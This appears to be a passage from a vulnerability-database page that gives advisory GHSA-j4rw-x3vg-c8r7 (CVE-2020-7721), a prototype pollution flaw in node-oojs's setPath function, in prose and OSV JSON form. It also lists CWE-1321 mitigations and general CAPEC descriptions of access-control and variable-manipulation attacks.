      "url": "https://github.com/benjamine/jsondiffpatch/blob/96112c35a98f9201dd75d67fcee68a952c79e2fe/packages/jsondiffpatch/src/formatters/jsonpatch-apply.ts%23L171-L199"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JS-JSONDIFFPATCH-16322990"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-J4RW-X3VG-C8R7

Vulnerability from github – Published: 2021-05-06 18:12 – Updated: 2021-05-05 18:40
VLAI
Summary
Prototype Pollution in node-oojs
Details

All versions of package node-oojs up to and including version 1.4.0 are vulnerable to Prototype Pollution via the setPath function.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "node-oojs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7721"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-05T18:40:32Z",
    "nvd_published_at": "2020-09-01T10:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "All versions of package node-oojs up to and including version 1.4.0 are vulnerable to Prototype Pollution via the setPath function.",
  "id": "GHSA-j4rw-x3vg-c8r7",
  "modified": "2021-05-05T18:40:32Z",
  "published": "2021-05-06T18:12:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7721"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-NODEOOJS-598678"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in node-oojs"
}

Mitigation
Implementation

By freezing the object prototype first (for example, Object.freeze(Object.prototype)), modification of the prototype becomes impossible.

Mitigation
Architecture and Design

By blocking modifications of attributes that resolve to object prototype, such as proto or prototype, this weakness can be mitigated.

Mitigation
Implementation

Strategy: Input Validation

When handling untrusted objects, validating using a schema can be used.

Mitigation
Implementation

By using an object without prototypes (via Object.create(null) ), adding object prototype attributes by accessing the prototype via the special attributes becomes impossible, mitigating this weakness.

Mitigation
Implementation

Map can be used instead of objects in most cases. If Map methods are used instead of object attributes, it is not possible to access the object prototype or modify it.

CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.

CAPEC-180: Exploiting Incorrectly Configured Access Control Security Levels

An attacker exploits a weakness in the configuration of access controls and is able to bypass the intended protection that these measures guard against and thereby obtain unauthorized access to the system or network. Sensitive functionality should always be protected with access controls. However configuring all but the most trivial access control systems can be very complicated and there are many opportunities for mistakes. If an attacker can learn of incorrectly configured access security settings, they may be able to exploit this in an attack.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.